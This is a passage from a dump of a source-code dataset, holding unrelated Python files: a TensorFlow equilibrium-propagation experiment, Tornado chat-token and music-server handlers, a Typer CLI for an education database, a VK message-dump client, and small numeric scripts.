Y = tf.meshgrid(tf.range(n_inputs, n_inputs+n_hidden), tf.range(n_inputs+n_hidden, n_inputs+n_hidden+n_outputs))\n idx = tf.reshape(tf.stack([X, Y], axis=2), [-1, 2])\n\n mat = tf.scatter_nd_update(mat, idx, tf.reshape(tf.transpose(B), [-1]))\n\n return variables, mat\n\nclass Network():\n \"\"\"\n https://github.com/bscellier/Towards-a-Biologically-Plausible-Backprop\n Rather than having two phases, want the nodes to have some temporal state.\n If some input values were recently 'clamped' then they should\n correlate with output values that are 'clamped' not long afterward.\n\n So there exists a delay between the clamping of the inputs and the outputs.\n What happens if;\n - delay is large\n - delay is variable\n - ?\n\n Might not even need to do anything smart? Bc SGD will want to find the shortest path from\n old state (clamped at inputs), to new state (clamped at labels).\n Optimise the parameters the minimize the distance travelled by the state!?\n\n Pros:\n - Can easily add more nodes or new inputs\n\n Cons:\n - must simulate for n steps rather than 1 shot prediction\n - ?\n \"\"\"\n def __init__(self, n_inputs, n_hidden, n_outputs, beta, name=''):\n self.n_nodes = n_inputs + n_hidden + n_outputs\n self.beta = beta\n\n self.input_idx = tf.range(n_inputs)\n self.output_idx = tf.range(n_inputs+n_hidden, self.n_nodes)\n\n with tf.variable_scope('network'):\n # TODO sparse matrix would be nicer/faster!?\n self.weights, self.weights_var = get_sym_adj(self.n_nodes)\n self.biases = tf.Variable(tf.random_normal(shape=[1, self.n_nodes], dtype=tf.float32), name='biases')\n self.variables = [self.weights_var, self.biases]\n\n def step(self, state, vals=None, idx=None, beta=1.0):\n \"\"\"\n Args:\n state (tf.tensor): the current state of the network\n shape = [batch_size, n_nodes], dtype = tf.float32\n vals (tf.tensor): the values to clamp certain nodes\n shape = [batch_size, N], dtype = tf.float32\n idx (tf.tensor): the indices of the tensors to clamp\n shape = [1], dtype = tf.int64\n\n Returns:\n new_state (tf.tensor): the new state of the network\n shape = [batch_size, n_nodes], dtype = tf.float32\n \"\"\"\n\n with tf.name_scope('step'):\n # Always trying to find a state with lower enegy\n loss = energy_fn(state, self.weights, self.biases)\n if vals is not None and idx is not None:\n if beta is None: # clamping\n state = tf.scatter_update(state, idx, vals)\n else: # weak clamping\n loss += beta*forcing_fn(state, vals, idx)\n\n grad = tf.gradients(loss, state)[0]\n # grad = tf.clip_by_norm(grad, 1.0)\n\n with tf.name_scope('gd'):\n # TODO want smarter optimisation here. AMSGrad!?\n new_state = state - 0.1*grad\n return new_state + 0.001*tf.random_normal(tf.shape(new_state)) # add some noise into the dynamics\n\n def forward(self, state, vals=None, idx=None, n_steps=10):\n \"\"\"\n Use while loop to take advantage of tf's compiler optimisations!?\n but the problem is we now have a finite window of data we can view.\n \"\"\"\n # TODO forward AD\n def step(i, state):\n # a wrapper for self.step(...)\n return i + 1, self.step(state, vals, idx)\n\n with tf.name_scope('forward'):\n while_condition = lambda i, m : tf.less(i, n_steps) # TODO change to state - old_state!? or low loss\n i = tf.constant(0)\n i_, new_state = tf.while_loop(while_condition, step, loop_vars=[i, state], back_prop=True)\n\n return new_state\n\n\ndef unsupervised_model_fn(features, labels, mode, params, config):\n \"\"\"\n Train the network with noisy weak clamping on the state.\n \"\"\"\n x = features['x']\n net = Network(28*28, params['n_hidden'], 10, beta=params['beta'])\n\n tf.summary.image('adjacency', tf.reshape(net.weights, [1, net.n_nodes, net.n_nodes, 1]))\n tf.summary.image('bias', tf.reshape(tf.stack([net.biases for _ in range(30)]), [1, 30, net.n_nodes, 1]))\n\n init_state = tf.zeros([tf.shape(x)[0], net.n_nodes])\n\n noised_input = x + 0.1*tf.random_normal(tf.shape(x))\n tf.summary.image('noised_input', tf.reshape(noised_input, [tf.shape(x)[0], 28, 28, 1]))\n\n # clamp inputs\n state_f = net.forward(init_state, noised_input, net.input_idx, n_steps=params['n_steps'])\n im = tf.gather(state_f, net.input_idx, axis=1)\n tf.summary.histogram('state_f', state_f)\n tf.summary.image('clamped_xs', tf.reshape(im, [tf.shape(x)[0], 28, 28, 1]))\n\n # run forward for a few more time steps (without clamping)\n state_b = net.forward(state_f, n_steps=params['n_steps'])\n recon = tf.gather(state_b, net.input_idx, axis=1)\n tf.summary.image('recon', tf.reshape(recon, [tf.shape(x)[0], 28, 28, 1]))\n\n # loss = tf.losses.mean_squared_error(x, im) # reconstruction error\n loss = energy_fn(state_b, net.weights, net.biases) - energy_fn(state_f, net.weights, net.biases)\n\n # training\n opt = tf.train.AdamOptimizer(params['learning_rate'])\n gnvs = opt.compute_gradients(loss, var_list=net.variables)\n for g, v in gnvs:\n tf.summary.scalar(v.name, tf.norm(g))\n gnvs = [(tf.clip_by_norm(g, 100.0), v) for g, v in gnvs]\n train_op = opt.apply_gradients(gnvs, global_step=tf.train.get_or_create_global_step())\n\n return tf.estimator.EstimatorSpec(\n mode=mode,\n loss=loss,\n train_op=train_op,\n eval_metric_ops={\n \"mean_loss\": tf.metrics.mean(loss)\n }\n )\n\n\ndef supervised_model_fn(features, labels, mode, params, config):\n x = features['x']\n net = Network(28*28, params['n_hidden'], 10, beta=params['beta'])\n\n tf.summary.image('adjacency', tf.reshape(net.weights, [1, net.n_nodes, net.n_nodes, 1]))\n tf.summary.image('bias', tf.reshape(tf.stack([net.biases for _ in range(30)]), [1, 30, net.n_nodes, 1]))\n\n init_state = tf.zeros([tf.shape(x)[0], net.n_nodes])\n\n # clamp inputs\n state_f = net.forward(init_state, x, net.input_idx, n_steps=params['n_steps'])\n\n im = tf.gather(state_f, net.input_idx, axis=1)\n pred = tf.gather(state_f, net.output_idx, axis=1)\n tf.summary.histogram('state_f', state_f)\n tf.summary.image('clamped_xs', tf.reshape(im, [tf.shape(x)[0], 28, 28, 1]))\n\n # clamp inputs and outputs\n # all_inputs = tf.concat([x, tf.one_hot(labels, 10, 1.0, 0.0, dtype=tf.float32)], axis=1)\n # all_idx = tf.concat([net.input_idx, net.output_idx], axis=0)\n # state_b = net.forward(state_f, all_inputs, all_idx, n_steps=params['n_steps'])\n # tf.summary.histogram('state_b', state_b)\n\n # loss = energy_fn(state_b, net.weights, net.biases) # - net.energy_loss(state_f)\n\n # WANT minimise the distance to be travelled/the changes to be made. lazy. and the energy!?\n # loss = tf.losses.mean_squared_error(state_f, state_b) # should stop grad through f?\n\n # just a test to see if forward pass is working.\n loss = tf.losses.sparse_softmax_cross_entropy(logits=pred, labels=labels)\n\n # training\n opt = tf.train.AdamOptimizer(params['learning_rate'])\n gnvs = opt.compute_gradients(loss, var_list=net.variables)\n for g, v in gnvs:\n tf.summary.scalar(v.name, tf.norm(g))\n gnvs = [(tf.clip_by_norm(g, 100.0), v) for g, v in gnvs]\n train_op = opt.apply_gradients(gnvs, global_step=tf.train.get_or_create_global_step())\n\n return tf.estimator.EstimatorSpec(\n mode=mode,\n loss=loss,\n train_op=train_op,\n eval_metric_ops={\n \"accuracy\": tf.metrics.accuracy(labels, tf.argmax(pred, axis=1))\n }\n )\n\n\ndef main(_):\n params = FLAGS.flag_values_dict()\n params[\"activation\"] = getattr(tf.nn, params[\"activation\"])\n\n if FLAGS.delete_existing and tf.gfile.Exists(FLAGS.model_dir):\n tf.logging.warn(\"Deleting old log directory at {}\".format(FLAGS.model_dir))\n tf.gfile.DeleteRecursively(FLAGS.model_dir)\n tf.gfile.MakeDirs(FLAGS.model_dir)\n\n mnist = tf.contrib.learn.datasets.load_dataset(\"mnist\")\n train_data = mnist.train.images[:5000, ...] # Returns np.array\n train_labels = np.asarray(mnist.train.labels, dtype=np.int32)[:5000, ...]\n # eval_data = mnist.test.images # Returns np.array\n # eval_labels = np.asarray(mnist.test.labels, dtype=np.int32)\n eval_data = train_data\n eval_labels = train_labels\n\n train_input_fn = tf.estimator.inputs.numpy_input_fn(\n x={\"x\": train_data},\n y=train_labels,\n batch_size=FLAGS.batch_size,\n num_epochs=1,\n shuffle=True)\n\n eval_input_fn = tf.estimator.inputs.numpy_input_fn(\n x={\"x\": eval_data},\n y=eval_labels,\n batch_size=FLAGS.batch_size,\n num_epochs=1,\n shuffle=False)\n\n\n estimator = tf.estimator.Estimator(\n supervised_model_fn,\n params=params,\n config=tf.estimator.RunConfig(\n model_dir=FLAGS.model_dir,\n save_checkpoints_steps=FLAGS.viz_steps,\n ),\n )\n\n for _ in range(FLAGS.epochs):\n estimator.train(train_input_fn, steps=FLAGS.viz_steps)\n eval_results = estimator.evaluate(eval_input_fn)\n print(\"Evaluation_results:\\n\\t%s\\n\" % eval_results)\n\nif __name__ == \"__main__\":\n tf.app.run()\n","sub_path":"dynamics/equilibrium_propagation.py","file_name":"equilibrium_propagation.py","file_ext":"py","file_size_in_byte":14899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"316669107","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# @author: jiehua233@gmail.com\n# @date: 2014-11-24\n#\n\nimport random\nimport protocols\nimport constants\nimport requests\nimport time\nimport utils\n\n\nclass GetTokenHandler(protocols.JSONBaseHandler):\n \"\"\" 获取融云token \"\"\"\n\n @protocols.unpack_arguments()\n def get(self):\n rc_token = self.current_user['rc_token'] if self.current_user['rc_token'] else ''\n if not rc_token:\n user_info = self.current_user\n self.redis.rpush('movies:get_rctoken_queue',\n json.dumps({\"phone\": user_info['phone'], \"uid\": user_info['uid']}))\n\n data = {\n \"rc_token\": rc_token,\n }\n\n self.return_result(data)\n\n\nclass RefreshTokenHandler(protocols.JSONBaseHandler):\n \"\"\" 刷新融云token \"\"\"\n\n @protocols.unpack_arguments()\n def post(self):\n user_info = self.current_user\n self.redis.rpush('movies:get_rctoken_queue',\n json.dumps({\"phone\": user_info['phone'], \"uid\": user_info['uid']}))\n\n self.return_success()\n","sub_path":"movies-server/service/rongcloud.py","file_name":"rongcloud.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"394280672","text":"from typing import List\n\nimport click\nimport orjson\nimport typer\nimport logging\n\nimport models\n\n__version__ = \"0.2.0\"\n\nfrom core.db import session_scope\n\nNAME = \"cs_education\"\n\n\nlogging.basicConfig(format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\", level=logging.INFO)\n\napp = typer.Typer(name=NAME, help=\"Инструменты для работы с обучением\")\n\n\n@app.callback(invoke_without_command=True)\ndef main(version: bool = typer.Option(None, \"--version\", \"-v\"),):\n if version:\n typer.echo(f\"{NAME} version: {__version__}\")\n raise typer.Exit()\n\n\n@app.command()\ndef add(\n table: models.TABLES_ENUM = typer.Option(\n ..., \"--table\", \"-t\", help=\"Таблица в которую добавить запись\", case_sensitive=False\n ),\n body: str = typer.Argument(None)\n):\n \"\"\"WIP: Добавить материал в базу\"\"\"\n with session_scope() as session:\n # Получаем таблицу\n _table = getattr(models, table)\n # Если есть аргументы в словаре -- завершение\n if body:\n data = _table.model()(body) # Выкинет исключение, а нам это и хорошо\n session.add(_table(**data.dict()))\n else:\n while True:\n # Если нет -- получаем все поля модели, просим пользователя ввести их по очереди -- завершение\n # Завершение: валидируем аргументы, сохраняем записть, возвращаем данные как они в базе\n if not repeat or not click.confirm(\"Добавить еще?\"):\n break\n\n\n@app.command(name=\"import\")\ndef _import(\n data: typer.FileText = typer.Argument(...),\n overwrite: bool = typer.Option(False, \"--overwrite\", \"-w\", help=\"Перезаписать объекты, если есть такой PK\"),\n tables: List[models.TABLES_ENUM] = typer.Option(\n None, \"--tables\", \"-t\", help=\"Список таблиц в которые сделать записи\", case_sensitive=False\n ),\n):\n \"\"\"\n Импорт материалов в базу\n\n Структура:\n {\"table\":\n {\"column\": value, \"index\": None}\n }\\n\n index None == Создание новой записи / не None == замена текущей\n \"\"\"\n _source = orjson.loads(data.read())\n\n with session_scope() as session:\n for table, raws in _source.items():\n if tables and table not in tables:\n # Пропустить таблицу, если список таблиц регулируется аргументами и этой таблицы там нет\n continue\n\n _object = getattr(models, table)\n assert _object, f\"Таблицы {table} не существует\"\n\n for _r in raws:\n _id = _r.pop(\"id\", None)\n # Добавить проверку существования ID в базе\n # -> Если такой элемент уже есть, делать обновление\n _data = _object.model(exclude=[\"id\"]).parse_obj(_r)\n one = session.query(_object).filter_by(id=_id).one_or_none()\n\n if one:\n if not overwrite:\n print(f\"Объект {table}{_r} не записан\")\n continue\n session.query(_object).filter(_object.id == _id).update(_data.dict())\n session.query(_object).filter(_object.id == _id).update(_data.dict())\n else:\n session.add(_object(**_data.dict()))\n\n\n@app.command(name=\"export\")\ndef _export(\n tables: models.TABLES_ENUM = typer.Option(\n None, \"--tables\", \"-t\", help=\"Список таблиц в которые сделать записи\", case_sensitive=False\n ),\n filename: str = typer.Option(\"cs_education_dump\"),\n):\n \"\"\"WIP: Экспорт материалов\"\"\"\n\n def dict_factory(cursor, row):\n d = {}\n for idx, col in enumerate(cursor.description):\n d[col[0]] = row[idx]\n return d\n\n with session_scope() as session:\n\n session.row_factory = dict_factory\n\n tables = session.execute(\"SELECT name FROM sqlite_master WHERE type='table';\")\n\n with open(f\"{filename}.json\", \"w\") as dump:\n for table_name in tables:\n results = session.execute(\"SELECT * FROM \" + table_name[\"name\"])\n dump.write(format(results).replace(\" u'\", \"'\").replace(\"'\", '\"'))\n\n\n@app.command()\ndef index(\n content_type: str = typer.Option(None, \"--content-type\", \"-c\"),\n material_type: str = typer.Option(None, \"--material-type\", \"-m\"),\n section: str = typer.Option(None, \"--section\", \"-s\"),\n format: str = typer.Option(\"markdown\", \"--format\", \"-f\", show_default=True),\n):\n \"\"\"WIP: Генерация индекса материалов\"\"\"\n\n\n@app.command()\ndef remove(\n id: int = typer.Argument(...),\n table: models.TABLES_ENUM = typer.Option(\n ..., \"--table\", \"-t\", help=\"Таблица в которой удалить записи\", case_sensitive=False\n ),\n):\n \"\"\"WIP: Удалить материал по ID\"\"\"\n with session_scope() as session:\n _object = getattr(models, table)\n session.delete(_object.query.filter_by(id=id))\n","sub_path":"cli/education/core/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":5544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"224843378","text":"import json\nimport logging\nfrom inspect import stack\nfrom json.decoder import JSONDecodeError\nfrom time import sleep, time\nfrom typing import Union, List\n\nimport requests\nfrom requests import RequestException\nfrom retry import retry\nfrom vk import API as ApiWrapper\nfrom vk import AuthSession as ApiWrapperAuthSession\nfrom vk.exceptions import VkAPIError\n\nfrom vkdumpy.exceptions import VkDumpyWaitException, VkDumpyExecuteException, VkDumpyRestApiException\nfrom vkdumpy.settings.main import WAITING_BETWEEN_REQUESTS, RAISE_WAITING_EXCEPTION, VK_API_VERSION, \\\n VK_EXECUTE_SCRIPTS, DEBUG\nfrom vkdumpy.utils import log_start_finish, waiting\n\nlogger = logging.getLogger(__name__)\n\n\nclass WaitController:\n _call_time_store = {} # todo: thread-safe\n\n @classmethod\n def wait_if_need(cls, method_part: str, hash_code: Union[int, str]):\n field_name = f'_{method_part}_{hash_code}_last_call_time'\n last_call_time = WaitController._call_time_store.get(field_name, None)\n\n if last_call_time is None:\n WaitController._call_time_store.update({field_name: time()})\n return\n\n interval = time() - last_call_time\n\n if interval >= WAITING_BETWEEN_REQUESTS:\n return\n\n if RAISE_WAITING_EXCEPTION:\n raise VkDumpyWaitException(method_part, hash_code, interval)\n\n logger.info(f'Go to sleep [{method_part}][{hash_code}]: {interval} seconds')\n sleep(interval)\n logger.info(f'Finish sleeping [{method_part}][{hash_code}]: {interval} seconds')\n\n WaitController._call_time_store.update({field_name: time()})\n\n\nclass VkExecutor(WaitController):\n _api_url = 'https://api.vk.com/method/execute'\n\n def __init__(self, code: str):\n self.code = code\n\n @retry(tries=4, delay=2)\n def execute(self, token: str):\n hash_code = hash(token)\n self.wait_if_need('execute', hash_code)\n\n request_data = {\n 'v': VK_API_VERSION,\n 'code': self.code,\n 'access_token': token\n }\n\n resp = None\n\n try:\n resp = requests.post(\n self._api_url,\n data=request_data\n )\n resp_json = resp.json()\n return resp_json['response']\n except (RequestException, KeyError, JSONDecodeError) as e:\n error_msg = f'{e.__class__.__name__}: {e} [{hash_code}]'\n if resp is not None:\n error_msg += f' | response content: {resp.content}'\n logger.error(error_msg)\n raise VkDumpyExecuteException(error_msg)\n\n @classmethod\n def generate_getConversations_executor(cls, extended: bool, **kwargs) -> 'VkExecutor':\n kwargs.update({'v': '5.120', 'count': 200})\n code = VK_EXECUTE_SCRIPTS['messages']['getConversations'] \\\n .render(\n api_version=VK_API_VERSION,\n kwargs=json.dumps(kwargs, ensure_ascii=False),\n extended=str(extended).lower()\n )\n\n if DEBUG:\n logger.info(f'Generated code: {code}')\n\n return cls(code)\n\n @classmethod\n def generate_getHistory_executor(\n cls,\n peer_id: Union[str, int],\n start_message_id: int,\n offset: int,\n **kwargs\n ) -> 'VkExecutor':\n kwargs.update({'peer_id': peer_id})\n code = VK_EXECUTE_SCRIPTS['messages']['getHistory'] \\\n .render(\n start_message_id=start_message_id,\n offset=offset,\n kwargs=json.dumps(kwargs, ensure_ascii=False)\n )\n\n if DEBUG:\n logger.info(f'Generated code: {code}')\n\n return cls(code)\n\n\nclass VkRestApi(WaitController):\n def __init__(self, token):\n self.api: ApiWrapper = ApiWrapper(ApiWrapperAuthSession(access_token=token))\n self.hash = hash(token)\n\n @waiting('messages', 'hash')\n def get_init_long_pool_data(self, **kwargs):\n return self.api.messages.getLongPollServer(need_pts=1, lp_version=3, v=VK_API_VERSION, **kwargs)\n\n @waiting('messages', 'hash')\n def get_long_poll_history(self, pts=None, **kwargs):\n if pts is None:\n init_info = self.api.messages.getLongPollServer(need_pts=1, lp_version=3, v=VK_API_VERSION, **kwargs)\n pts = init_info['pts']\n logger.info(f'Got pts: {pts}')\n\n return self.api.messages.getLongPollHistory(pts=pts, v=VK_API_VERSION)\n\n\nclass VKDumpy:\n # todo: run parallel\n def __init__(self, token):\n self._token = token\n\n @log_start_finish(flag_field_name='_token')\n def get_conversations(self, extended=False) -> List[int]:\n response = VkExecutor.generate_getConversations_executor(extended).execute(self._token)\n result = response['items']\n\n logger.info(\n f'Getting {\"extended \" if extended else \"\"}conversations: {len(result)}/{response[\"count\"]} '\n f'[{stack()[0][3]}][{hash(self._token)}]'\n )\n\n while len(result) < response['count']:\n response = VkExecutor \\\n .generate_getConversations_executor(extended=extended, offset=len(result)) \\\n .execute(self._token)\n result += response['items']\n\n logger.info(\n f'Getting {\"extended \" if extended else \"\"}conversations: {len(result)}/{response[\"count\"]} '\n f'[{stack()[0][3]}][{hash(self._token)}]'\n )\n\n return result\n\n @log_start_finish(flag_field_name='_token')\n def get_history(self, peer_id: Union[int, str], start_message_id=-1) -> List[dict]:\n response = VkExecutor.generate_getHistory_executor(\n peer_id=peer_id,\n offset=0,\n start_message_id=start_message_id\n ).execute(self._token)\n result = response['items']\n\n logger.info(\n f'Getting dialog history with {peer_id}: {len(result)}/{response[\"count\"]} '\n f'[{stack()[0][3]}][{hash(self._token)}]'\n )\n\n while len(result) < response['count'] and result[-1]['id'] > start_message_id:\n response = VkExecutor.generate_getHistory_executor(\n peer_id=peer_id,\n offset=len(result),\n start_message_id=start_message_id\n ).execute(self._token)\n result += response['items']\n\n logger.info(\n f'Getting dialog history with {peer_id}: {len(result)}/{response[\"count\"]} '\n f'[{stack()[0][3]}][{hash(self._token)}]'\n )\n\n if start_message_id == -1:\n return result\n\n for i in range(len(result) - 1, -1, -1):\n if result[i]['id'] >= start_message_id:\n break\n result.pop(i)\n\n return result\n\n @log_start_finish(flag_field_name='_token')\n def get_deleted_messages(self) -> List[dict]:\n \"\"\"\n Returns today deleted messages sorted by date\n \"\"\"\n\n vk_resp_api = VkRestApi(self._token)\n\n min_pts = vk_resp_api.get_init_long_pool_data()['pts']\n results = []\n deleted_msgs = []\n\n while True:\n logger.info(\n f'Try to find minimal pts for getting deleted messages: now minimal pts is {min_pts} [{stack()[0][3]}][{hash(self._token)}]'\n )\n try:\n lp_history = vk_resp_api.get_long_poll_history(pts=min_pts)\n except Exception as e:\n if isinstance(e, VkAPIError) and e.code == 907:\n break\n err_msg = f'Can not get_deleted_messages: {e}'\n logger.error(err_msg)\n raise VkDumpyRestApiException(err_msg)\n\n min_pts -= 1000\n\n if lp_history.get('messages', {}).get('items', []):\n results.append(lp_history)\n\n for result in results:\n deleted_msgs += [m for m in result['messages']['items'] if m.get('deleted')]\n\n logger.info(\n f'Found {len(deleted_msgs)} messages [{stack()[0][3]}][{hash(self._token)}]'\n )\n\n return sorted(deleted_msgs, key=lambda m: m['date'])\n","sub_path":"vkdumpy/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":8100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"291485723","text":"\r\n\r\n### 3 variables ###\r\n\r\nfirst = 0\r\nsecond = 1\r\nthird = 0\r\n\r\nfor i in range(101):\r\n third = first + second \r\n first = second\r\n second = third \r\n\r\n print(str(i +1) + ': ' + str(third))\r\n\r\n\r\n###2 variables ###\r\n\r\nn1, n2 = 0, 1\r\n\r\nfor i in range(101):\r\n n1, n2 = n2, (n1 + n2)\r\n print(str(i +1) + ': ' + str(n2))","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"116430969","text":"import os\nimport sys\nfrom sys import argv\nimport numpy as np\n\nscript, system_name, small_eta, small_method, small_basis, big_eta, big_method, big_basis = argv\n\ndef Big_Bad():\n os.system(\"python frag_prog_beta.py \"+system_name+\" \"+big_eta)\n os.system(\"python gradius.py \"+system_name+\" \"+big_method+\" \"+big_basis)\n\ndef Small_Good():\n os.system(\"python frag_prog_beta.py \"+system_name+\" \"+small_eta)\n os.system(\"python gradius.py \"+system_name+\" \"+small_method+\" \"+small_basis)\n\ndef Small_Bad():\n os.system(\"python frag_prog_beta.py \"+system_name+\" \"+small_eta)\n os.system(\"python gradius.py \"+system_name+\" \"+big_method+\" \"+big_basis)\n\ndef Get_Array():\n gradient_array = []\n grad = open(\"final_grad\",\"r\")\n for line in grad.readlines():\n gradient_array.append([])\n line = line.replace(\"[\",\"\")\n line = line.replace(\"]\",\"\")\n line = line.replace(\"\\n\",\"\")\n xyz = line.split()\n last_pos = len(gradient_array)-1\n gradient_array[last_pos].append(float(xyz[0]))\n gradient_array[last_pos].append(float(xyz[1]))\n gradient_array[last_pos].append(float(xyz[2]))\n gradient_array = np.asarray(gradient_array)\n return gradient_array\n\nBig_Bad()\nbig_bad = Get_Array()\nSmall_Good()\nsmall_good = Get_Array()\nSmall_Bad()\nsmall_bad = Get_Array()\n\nfinal_gradient = big_bad+small_good-small_bad\nNx3 = list(final_gradient)\nfinal_grad_file = open(\"final_grad\",\"w\")\nfor row in range(0, len(Nx3)):\n for column in range(0, len(Nx3[row])):\n final_grad_file.write(str(Nx3[row][column])+\" \")\n final_grad_file.write(\"\\n\")\n","sub_path":"real_mim_grady.py","file_name":"real_mim_grady.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"551111745","text":"#!/usr/bin/python3\n###############################################################################\n###############################################################################\n\t# LICENSE: GNU General Public License, version 2 (GPLv2)\n\t# Copyright 2015, Charlie J. Smotherman\n\t#\n\t# This program is free software; you can redistribute it and/or\n\t# modify it under the terms of the GNU General Public License v2\n\t# as published by the Free Software Foundation.\n\t#\n\t# This program is distributed in the hope that it will be useful,\n \t# but WITHOUT ANY WARRANTY; without even the implied warranty of\n\t# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\t# GNU General Public License for more details.\n\t#\n\t# You should have received a copy of the GNU General Public License\n\t# along with this program; if not, write to the Free Software\n\t# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n###############################################################################\n###############################################################################\n####To background this script invoke it with this command\n####nohup python3 server.py &>/dev/null &\n\nimport os, random, hashlib, re, time, uuid, shutil\nfrom urllib.parse import urlparse, parse_qs\nimport tornado.auth\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.web\nfrom tornado.options import define, options, parse_command_line\nimport pymongo\nimport functions as Fun\n\nampDBClient = pymongo.MongoClient(\"mongodb://db:27017/ampnadoDB\")\ndb = ampDBClient.ampnadoDB\n\nampVDBClient = pymongo.MongoClient(\"mongodb://db:27017/ampviewsDB\")\nviewsdb = ampVDBClient.ampviewsDB\n\nampPDBClient = pymongo.MongoClient(\"mongodb://db:27017/picdb\")\npdb = ampPDBClient.picdb\n\nFUN = Fun.Functions()\nRAND = Fun.RandomArtDb()\n\n\ndefine('server_port',\n\tdefault= os.environ[\"AMP_SERVER_PORT\"],\n\thelp='run on the given port',\n\ttype=int,\n)\n\noff_set = int(os.environ[\"AMP_OFFSET_SIZE\"])\n\nclass Application(tornado.web.Application):\n\tdef __init__(self):\n\t\tmpath = os.environ[\"AMP_MEDIA_PATH\"]\n\t\thandlers = [\n\t\t\t(r\"/Music/(.*)\", tornado.web.StaticFileHandler, {'path': mpath}),\n\t\t\t(r\"/ampnado\", MainHandler),\n\n\t\t\t(r\"/RandomPics\", RandomPicsHandler),\n\t\t\t(r\"/ArtistAlpha\", ArtistAlphaHandler),\n\n\t\t\t(r\"/ArtistInfo\", ArtistInfoHandler),\n\t\t\t(r\"/AlbumAlpha\", AlbumAlphaHandler),\n\n\t\t\t(r\"/AlbumInfo\", AlbumInfoHandler),\n\t\t\t(r\"/SongAlpha\", SongAlphaHandler),\n\n\t\t\t(r\"/SongInfo\", SongInfoHandler),\n\t\t\t(r\"/ImageSongsForAlbum\", ImageSongsForAlbumHandler),\n\t\t\t(r\"/PathArt\", PathArtHandler),\n\n\t\t\t(r\"/AllPlaylists\", AllPlaylistsHandler),\n\t\t\t(r\"/AllPlaylistSongsFromDB\", AllPlaylistSongsFromDBHandler),\n\t\t\t(r\"/Stats\", StatsHandler),\n\t\t\t(r\"/AddRandomPlaylist\", AddRandomPlaylistHandler),\n\t\t\t(r\"/AddPlayListNameToDB\", AddPlayListNameToDBHandler),\n\t\t\t(r\"/AddSongsToPlistDB\", AddSongsToPlistDBHandler),\n\t\t\t(r\"/CreatePlayerPlaylist\", CreatePlayerPlaylistHandler),\n\t\t\t(r\"/RandomAlbumPicPlaySong\", RamdomAlbumPicPlaySongHandler),\n\t\t\t(r\"/DeletePlaylistFromDB\", DeletePlaylistFromDBHandler),\n\t\t\t(r\"/DeleteSongFromPlaylist\", DeleteSongFromPlaylistHandler),\n\t\t\t\n\t\t\t(r\"/ArtistSearch\", ArtistSearchHandler),\n\t\t\t(r\"/AlbumSearch\", AlbumSearchHandler),\n\t\t\t(r\"/SongSearch\", SongSearchHandler),\n\t\t]\n\t\tsettings = dict(\n\t\t\tstatic_path = os.path.join(os.path.dirname(__file__), \"static\"),\n\t\t\t# static_path = \"./static\",\n\t\t\ttemplate_path = \"./templates\",\n\t\t\tlogin_url = \"/login\",\n\t\t\tcookie_secret = hashlib.sha512(str(random.randrange(100)).encode('utf-8')).hexdigest(),\n\t\t\txsrf_cookies = False,\n\t\t\tdebug = True,\n\t\t)\n\t\ttornado.web.Application.__init__(self, handlers, **settings)\n\nclass BaseHandler(tornado.web.RequestHandler):\n\tdef get_current_user(self):\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass MainHandler(BaseHandler):\n\tdef get(self):\n\t\tself.render('ampnado.html')\n\nclass AllPlaylistsHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef getpls(self):\n\t\ttry: return [(d['playlistname'], d['playlistid']) for d in db.playlists.find({}).sort([('playlistname', pymongo.ASCENDING)])]\n\t\texcept KeyError: return []\n\t\t\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tplname = yield self.getpls()\n\t\tplnamez = u\"Please create a playlist\"\n\t\tif plname != []: self.write(dict(plnames=plname))\n\t\telse: self.write(dict(plnames=plnamez))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\nclass ArtistAlphaHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tartal = viewsdb.artalpha.find_one({}, {'artalpha':1, '_id':0})\n\t\tartal = artal['artalpha']\n\t\tself.write(dict(artal=artal))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n\t\tself.set_header(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n\t\tself.set_header('Content-Type', 'application/json')\n\t\t\nclass ArtistInfoHandler(BaseHandler):\n\t@tornado.gen.coroutine\n\tdef _get_art_info(self, sel):\n\t\tsel = str(sel)\n\t\tartinfo = [art for art in viewsdb.artistView.find({'Page': sel}, {'_id':0}).sort([('Artist', pymongo.ASCENDING)]).limit(off_set)]\n\t\treturn artinfo\n\n\t@tornado.gen.coroutine\n\tdef get(self):\n\t\tp = parse_qs(urlparse(self.request.full_url()).query)\n\t\tarts = yield self._get_art_info(int(p['selected'][0]))\n\t\tself.write(dict(arts=arts))\n\t\tself.set_header(\"Access-Control-Allow-Origin\", \"*\")\n\t\tself.set_header(\"Access-Control-Allow-Headers\", 